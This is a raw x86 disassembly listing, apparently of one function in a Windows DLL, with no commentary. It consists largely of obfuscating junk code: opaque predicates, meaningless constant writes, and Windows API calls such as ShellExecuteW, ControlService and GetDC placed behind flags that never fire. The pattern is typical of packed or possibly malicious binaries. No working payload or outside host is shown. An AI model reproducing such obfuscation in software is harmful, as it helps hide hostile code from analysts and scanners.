cmp dword [ebp - 0x20], esi
jl 0x10034cd0
xor eax, eax
mov dword [ebp - 0xa0], 0xfffffff8
jmp 0x10034d0e
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10034d08
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
xor eax, eax
inc dword [ebp - 0xa0]
cmp dword [ebp - 0xa0], 0xfffffff9
jg 0x10034cf0
push 3
lea ecx, [ebp - 0x8dc]
call fcn.1001855e
push 7
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x44], 0x51d77f17
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10034d62
push dword [ebp - 0x20]
lea ecx, [ebp - 0x8dc]
call fcn.100185ee
mov dword [eax], 0x313dd33a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10034d43
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jg 0x10034e41
or edx, 0xffffffff
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], eax
jl 0x10034e2f
mov dword [ebp - 0x34], 0xfb5a5efa
mov dword [ebp - 0x34], eax
jmp 0x10034dad
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10034daa
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
push 2
xor eax, eax
pop ecx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jle 0x10034d95
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x8dc]
call fcn.100185ee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
xor eax, eax
add ecx, 0x4c9a615c
imul ecx, dword [ebp - 0x34]
cmp ecx, 0x7363
lea ecx, [ebp - 0x8dc]
setg al
mov dword [ebp - 0x44], eax
push dword [ebp - 0x1c]
call fcn.100185ee
mov ecx, dword [ebp - 0x44]
xor edx, edx
push 0
cmp ecx, dword [eax]
setne dl
mov dword [ebp - 0x44], edx
xor edx, edx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle bl
xor ecx, ecx
cmp ebx, eax
pop eax
setle cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x30]
push 2
pop ecx
jns 0x10034d89
or edx, 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x10034d74
mov ebx, dword [sym.imp.USER32.dll_GetDesktopWindow]
or eax, 0xffffffff
lea ecx, [ebp - 0x8dc]
mov dword [ebp - 4], eax
call fcn.100185e9
push 3
lea ecx, [ebp - 0x578]
call fcn.1001855e
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x44c]
or eax, 0xffffffff
mov dword [ebp - 0x3c], 0xfffffff9
push 2
mov dword [ebp - 0x24], eax
pop eax
push eax
call fcn.1001855e
push 9
pop eax
mov byte [ebp - 4], al
or eax, 0xffffffff
mov dword [ebp - 0x44], eax
push 5
pop eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10034ec5
push dword [ebp - 0x14]
lea ecx, [ebp - 0x578]
call fcn.100185ee
mov dword [eax], 0xea53061e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10034ea6
xor eax, eax
mov dword [ebp - 0x14], eax
push 2
pop eax
cmp dword [ebp - 0x14], eax
jge 0x10034ef1
push eax
pop esi
push dword [ebp - 0x14]
lea ecx, [ebp - 0x44c]
call fcn.100185ee
mov dword [eax], 0xb6eab3cf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10034ed2
xor esi, esi
inc esi
push esi
lea ecx, [ebp - 0x578]
call fcn.100185ee
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10034f06
mov esi, eax
xor eax, eax
lea ecx, [ebp - 0x578]
inc eax
push eax
call fcn.100185ee
mov eax, dword [eax]
add eax, esi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub eax, 0x780eec29
je 0x10034f40
xor eax, eax
lea ecx, [ebp - 0x44c]
push eax
call fcn.100185ee
cmp dword [eax], 0
je 0x10034f40
xor esi, esi
inc esi
mov eax, esi
jmp 0x10034f45
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0x44c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
push esi
call fcn.100185ee
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x10034f6f
push esi
lea ecx, [ebp - 0x578]
call fcn.100185ee
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10034f77
mov eax, dword [ebp - 0x3c]
push 2
pop eax
push eax
lea ecx, [ebp - 0x578]
call fcn.100185ee
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x44c]
xor eax, eax
push eax
call fcn.100185ee
mov esi, eax
lea ecx, [ebp - 0x44c]
xor eax, eax
push eax
call fcn.100185ee
mov ecx, dword [esi]
imul ecx, dword [eax]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0x1a
cmp dword [ebp - 0x30], 0xfffffff2
jg 0x10035007
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x3c], eax
jl 0x10034fe3
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x44c]
call fcn.100185ee
cmp dword [eax], 0
jne 0x10034fe1
dec dword [ebp - 0x3c]
jns 0x10034fc9
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10034ffe
push eax
push eax
push 0x373
call ebx
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffff2
jle 0x10034fc1
lea ecx, [ebp - 0x44c]
call fcn.100185e9
or eax, 0xffffffff
lea ecx, [ebp - 0x578]
mov dword [ebp - 4], eax
call fcn.100185e9
xor ebx, ebx
lea ecx, [ebp - 0x858]
inc ebx
mov dword [ebp - 0x3c], ebx
push 3
call fcn.1001855e
mov dword [ebp - 4], 0xa
mov esi, 0x9ea4087b
xor eax, eax
mov dword [ebp - 0x20], esi
push 3
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x10035073
push dword [ebp - 0x20]
lea ecx, [ebp - 0x858]
call fcn.100185ee
push 3
pop ecx
mov dword [eax], 0xd3cd3624
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10035052
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xa
jge 0x100351e2
mov edx, 0xffff
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x6ac], edx
mov dword [ebp - 0x6a8], edx
mov dword [ebp - 0x6a4], edx
mov dword [ebp - 0x6a0], edx
cmp dword [ebp - 0x1c], eax
jne 0x100351e2
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jg 0x100351d5
mov dword [ebp - 0x14], 0xcaad901
xor edx, edx
mov ecx, dword [ebp - 0x3c]
add ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
sub edx, 0x81d534a2
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x3c]
jl 0x100350e9
mov eax, dword [ebp - 0x14]
xor eax, eax
lea ecx, [ebp - 0x858]
push eax
call fcn.100185ee
and dword [eax], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x6a4], ebx
jne 0x10035108
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
add eax, 0x4644688d
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x6a8]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x6a4]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setl dl
imul eax, edx
sub eax, 0x227283a3
je 0x1003515c
xor eax, eax
lea ecx, [ebp - 0x858]
push eax
call fcn.100185ee
cmp dword [eax], 0
je 0x1003515c
mov eax, ebx
jmp 0x1003515e
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x100351bd
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], eax
jl 0x100351ba
mov dword [ebp - 0x34], 0xb46f9f1
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ecx
jg 0x100351b5
push 4
pop edx
mov dword [ebp - 0x30], 0xcf05746a
mov dword [ebp - 0x30], eax
jmp 0x100351a2
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x6ac], 0xfff8
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x10035191
mov eax, dword [ebp - 0x34]
inc dword [ebp - 0x34]
push 0
pop eax
cmp dword [ebp - 0x34], ecx
jle 0x10035185
dec dword [ebp - 0x20]
jns 0x10035173
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jle 0x1003516b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x100350b5
xor eax, eax
mov edx, 0xffff
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xa
jl 0x10035085
or eax, 0xffffffff
lea ecx, [ebp - 0x858]
mov dword [ebp - 4], eax
call fcn.100185e9
mov dword [ebp - 0x3c], ebx
lea ecx, [ebp - 0x828]
push 3
call fcn.1001855e
mov dword [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x20], esi
push 3
mov dword [ebp - 0x20], eax
pop esi
cmp dword [ebp - 0x20], esi
jge 0x10035238
push dword [ebp - 0x20]
lea ecx, [ebp - 0x828]
call fcn.100185ee
mov dword [eax], 0xd3cd3624
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1003521a
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xa
jge 0x100353a4
mov ecx, 0xffff
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x6c8], ecx
mov dword [ebp - 0x6c4], ecx
mov dword [ebp - 0x6c0], ecx
mov dword [ebp - 0x6bc], ecx
cmp dword [ebp - 0x1c], eax
jne 0x100353a4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jg 0x10035397
mov dword [ebp - 0x14], 0xcaad901
xor edx, edx
mov ecx, dword [ebp - 0x3c]
add ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setge dl
sub edx, 0x81d534a2
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x3c]
jl 0x100352ae
mov eax, dword [ebp - 0x14]
xor eax, eax
lea ecx, [ebp - 0x828]
push eax
call fcn.100185ee
and dword [eax], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x6c0], ebx
jne 0x100352cd
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
add eax, 0x4644688d
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x6c4]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x6c0]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setl dl
imul eax, edx
sub eax, 0x227283a3
je 0x10035321
xor eax, eax
lea ecx, [ebp - 0x828]
push eax
call fcn.100185ee
cmp dword [eax], 0
je 0x10035321
mov eax, ebx
jmp 0x10035323
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1003537f
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x1003537c
mov dword [ebp - 0x34], 0xb46f9f1
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], esi
jg 0x10035377
push 4
pop ecx
mov dword [ebp - 0x30], 0xcf05746a
mov dword [ebp - 0x30], eax
jmp 0x10035364
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x6c8], 0xfff8
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x10035353
mov eax, dword [ebp - 0x34]
inc dword [ebp - 0x34]
push 0
pop eax
cmp dword [ebp - 0x34], esi
jle 0x10035347
dec dword [ebp - 0x20]
jns 0x10035335
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x1003532d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x1003527a
xor eax, eax
mov ecx, 0xffff
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xa
jl 0x1003524a
or eax, 0xffffffff
lea ecx, [ebp - 0x828]
mov dword [ebp - 4], eax
call fcn.100185e9
push esi
lea ecx, [ebp - 0x738]
call fcn.1001855e
mov dword [ebp - 4], 0xc
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x44], 0x51d77f17
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x100353fe
push dword [ebp - 0x20]
lea ecx, [ebp - 0x738]
call fcn.100185ee
mov dword [eax], 0x313dd33a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x100353e0
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jg 0x100354da
or edx, 0xffffffff
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], eax
jl 0x100354ce
mov dword [ebp - 0x34], 0xfb5a5efa
mov dword [ebp - 0x34], eax
jmp 0x10035449
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10035446
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
push 2
xor eax, eax
pop ecx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jle 0x10035431
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x738]
call fcn.100185ee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
xor eax, eax
add ecx, 0x4c9a615c
imul ecx, dword [ebp - 0x34]
cmp ecx, 0x7363
lea ecx, [ebp - 0x738]
setg al
mov dword [ebp - 0x44], eax
push dword [ebp - 0x1c]
call fcn.100185ee
mov ecx, dword [ebp - 0x44]
xor edx, edx
push 0
cmp ecx, dword [eax]
setne dl
mov dword [ebp - 0x44], edx
xor edx, edx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle bl
xor ecx, ecx
cmp ebx, eax
pop eax
setle cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x30]
push 2
pop ecx
jns 0x10035425
xor ebx, ebx
inc ebx
or edx, 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x10035410
or eax, 0xffffffff
lea ecx, [ebp - 0x738]
mov dword [ebp - 4], eax
call fcn.100185e9
push 5
mov dword [ebp - 0x1c], 0x3c692bea
pop eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x1c], 0x19
jmp 0x1003550e
mov dword [ebp - 0x44], 0x6748f69f
dec dword [ebp - 0x44]
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xc
jge 0x10035501
mov dword [ebp - 0x1c], 0x16
cmp dword [ebp - 0x1c], 0xffffffe7
jge 0x10035578
xor eax, eax
mov dword [ebp - 0x24], 0x16efa42b
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1003554a
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x12e4], 0x952e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10035532
xor eax, eax
mov dword [ebp - 0x24], 2
cmp dword [ebp - 0x24], eax
jl 0x1003556f
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1003556a
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor eax, eax
dec dword [ebp - 0x24]
jns 0x10035556
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe7
jl 0x10035523
push 4
pop esi
push esi
lea ecx, [ebp - 0x2fc]
call fcn.1001855e
mov dword [ebp - 4], 0xd
lea ecx, [ebp - 0x268]
mov dword [ebp - 0x30], 0x6158d32f
push ebx
call fcn.1001855e
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xe50]
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x44], 0x67df2ddf
push esi
call fcn.1001855e
xor eax, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jge 0x100355f0
push dword [ebp - 0x38]
lea ecx, [ebp - 0x2fc]
call fcn.100185ee
mov dword [eax], 0xad6f2ee7
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x100355d2
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jge 0x10035616
push dword [ebp - 0x38]
lea ecx, [ebp - 0x268]
call fcn.100185ee
mov dword [eax], 0xff3d
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x100355f8
xor eax, eax
push 2
mov dword [ebp - 0x38], eax
pop esi
cmp dword [ebp - 0x38], esi
jge 0x10035635
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x674], ebx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x10035621
xor eax, eax
mov dword [ebp - 0x38], eax
push 4
pop eax
cmp dword [ebp - 0x38], eax
jge 0x10035660
push eax
pop edi
push dword [ebp - 0x38]
lea ecx, [ebp - 0xe50]
call fcn.100185ee
mov dword [eax], ebx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edi
jl 0x10035642
mov edi, dword [sym.imp.GDI32.dll_SelectClipRgn]
push esi
lea ecx, [ebp - 0x2fc]
call fcn.100185ee
lea ecx, [ebp - 0x268]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
xor eax, eax
push eax
call fcn.100185ee
xor eax, eax
lea ecx, [ebp - 0x268]
push eax
call fcn.100185ee
mov esi, dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, ecx
setne dl
cmp edx, dword [eax]
jle 0x100356b8
xor eax, eax
lea ecx, [ebp - 0x268]
push eax
call fcn.100185ee
cmp dword [eax], 0
jne 0x100356b8
xor eax, eax
mov esi, eax
jmp 0x100356ba
mov esi, ebx
push 3
lea ecx, [ebp - 0x2fc]
call fcn.100185ee
sub esi, dword [eax]
jne 0x100356e3
xor eax, eax
lea ecx, [ebp - 0x268]
push eax
call fcn.100185ee
cmp dword [eax], esi
jne 0x100356e3
xor eax, eax
mov ecx, eax
jmp 0x100356e5
mov ecx, ebx
mov eax, dword [ebp - 0x14]
imul eax, ecx
test eax, eax
jne 0x10035706
push eax
lea ecx, [ebp - 0x268]
call fcn.100185ee
cmp dword [eax], 0
jne 0x10035706
xor eax, eax
mov esi, eax
jmp 0x1003570a
mov esi, ebx
xor eax, eax
push eax
lea ecx, [ebp - 0x268]
call fcn.100185ee
mov ecx, dword [ebp - 0x1c]
xor edx, edx
cmp esi, ecx
setg dl
cmp dword [eax], edx
jl 0x10035727
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x2fc]
xor eax, eax
push eax
call fcn.100185ee
push 2
pop esi
push esi
lea ecx, [ebp - 0x2fc]
call fcn.100185ee
cmp dword [eax], 0
je 0x10035898
or eax, 0xffffffff
lea ecx, [ebp - 0x93c]
mov dword [ebp - 0x48], eax
push esi
call fcn.1001855e
mov byte [ebp - 4], 0x10
mov eax, 0xffff
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10035796
push dword [ebp - 0x20]
lea ecx, [ebp - 0x93c]
call fcn.100185ee
mov dword [eax], 0x7fba349a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10035778
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100357ae
push eax
push 0x2277
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jg 0x10035888
xor edi, edi
inc edi
jmp 0x100357c2
xor eax, eax
mov dword [ebp - 0x44], 5
mov dword [ebp - 0x40], 0x988a21de
mov dword [ebp - 0x20], eax
jmp 0x100357e2
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x12d8], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x100357d5
push esi
lea ecx, [ebp - 0x2fc]
call fcn.100185ee
xor ebx, ebx
cmp dword [eax], ebx
je 0x1003581d
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x2fc]
mov eax, dword [ebp - 0x670]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x48]
push 3
call fcn.100185ee
cmp dword [eax], ebx
je 0x1003581d
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
neg edx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
sbb edx, edx
neg edx
xor ecx, ecx
neg edx
cmp edx, 0x319d7fcc
push edi
setg cl
xor ebx, ebx
sub eax, ecx
lea ecx, [ebp - 0x93c]
cmp eax, 0xfffffff7
setne bl
sub ebx, 0xfffffff8
neg ebx
sbb ebx, ebx
inc ebx
call fcn.100185ee
xor ecx, ecx
mov dword [eax], ebx
mov eax, dword [ebp - 0x48]
cmp eax, ebx
setl cl
sub ecx, dword [ebp - 0x670]
mov dword [ebp - 0x30], ecx
dec dword [ebp - 0x2c]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jle 0x100357c0
mov edi, dword [sym.imp.GDI32.dll_SelectClipRgn]
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0x93c]
call fcn.100185e9
jmp 0x10035925
xor eax, eax
mov dword [ebp - 0x2c], 0x57ac
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x26
je 0x10035925
or edi, 0xffffffff
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x11
jg 0x10035916
mov dword [ebp - 0x24], edi
xor ecx, ecx
mov dword [ebp - 0x2c], 0xfffffffd
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x674]
cmp eax, 0x2336
setg cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x44], eax
jle 0x100358fe
xor eax, eax
lea ecx, [ebp - 0x268]
push eax
call fcn.100185ee
cmp dword [eax], 0
je 0x100358fe
mov ecx, ebx
jmp 0x10035902
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x2c]
imul eax, ecx
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x11
jle 0x100358b9
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x26
jne 0x100358ad
mov edi, dword [sym.imp.GDI32.dll_SelectClipRgn]
lea ecx, [ebp - 0xe50]
call fcn.100185e9
lea ecx, [ebp - 0x268]
call fcn.100185e9
or esi, 0xffffffff
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 4], esi
call fcn.100185e9
mov dword [ebp - 0x44], 0x70ad
push 9
mov dword [ebp - 0x40], 0xf89b546
pop eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x2c], 0x7e780ca9
push 4
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x1003598f
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x130c], 0x58fb770a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10035977
xor eax, eax
inc dword [ebp - 0x44]
dec dword [ebp - 0x2c]
mov dword [ebp - 0x1c], 0x48261f9c
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100359c4
push eax
push 0xfa2
push 0x19f9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
mov dword [ebp - 0x1c], 0xffffffe2
jmp 0x10035a8b
movdqa xmm0, xmmword [0x10007ff0]
lea eax, [ebp - 0xec0]
push eax
lea eax, [ebp - 0xed0]
push eax
lea ecx, [ebp - 0x11c0]
movdqu xmmword [ebp - 0xed0], xmm0
call fcn.100185fd
lea ecx, [ebp - 0x1ec]
mov esi, eax
call fcn.100091f3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x10fc]
push dword [esi]
call fcn.100185bf
xor eax, eax
mov dword [ebp - 0x20], 0x6d4f2887
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x10035a40
push 0x1888
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov dword [ebp - 0x20], 3
or esi, 0xffffffff
cmp dword [ebp - 0x20], eax
jl 0x10035a7d
mov dword [ebp - 0x44], 0xfffffff7
cmp dword [ebp - 0x1c], eax
je 0x10035a62
cmp dword [ebp - 0x20], eax
je 0x10035a62
mov eax, ebx
cmp eax, esi
mov eax, dword [ebp - 0x1c]
push 0
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
pop eax
setne cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x20]
jns 0x10035a4f
lea ecx, [ebp - 0x10fc]
call fcn.100185e9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffc
jle 0x100359d0
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10035ab3
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x94], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10035a9f
xor eax, eax
mov dword [ebp - 0x24], 0x52027495
mov dword [ebp - 0x34], 0x17d72b90
mov dword [ebp - 0x1c], 0xdebf889e
mov dword [ebp - 0x2c], 0x1fc80ae7
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10035aef
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1f4], 0xd95e17ca
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10035ad7
xor eax, eax
cmp dword [ebp - 0x1f4], eax
jne 0x10035b09
mov eax, dword [ebp - 0x1f4]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], ebx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1f4]
dec edx
neg edx
sbb edx, edx
neg eax
xor ecx, ecx
inc edx
cmp eax, edx
setle cl
xor eax, eax
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], eax
je 0x10035bad
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x44], 0x90aec51
mov dword [ebp - 0x1c], 0xfffffff3
cmp dword [ebp - 0x1c], ebx
jne 0x10035c35
or edi, 0xffffffff
mov esi, dword [ebp - 0x2c]
neg esi
sbb esi, esi
imul ecx, dword [ebp - 0x34], 0xdbea7194
mov eax, dword [ebp - 0x30]
xor edx, edx
neg esi
cmp ecx, eax
setl dl
xor eax, eax
cmp esi, edx
setl al
cmp eax, dword [ebp - 0x44]
jne 0x10035b7e
mov dword [ebp - 0x24], 0x68dd2ac3
jmp 0x10035b9a
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x30], 0xffffffee
jmp 0x10035b94
mov dword [ebp - 0x4c], 0xcd1ac8c6
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1d
jge 0x10035b8a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
je 0x10035b4f
mov edi, dword [sym.imp.GDI32.dll_SelectClipRgn]
jmp 0x10035c33
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x34], 0x1d
jmp 0x10035bd6
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
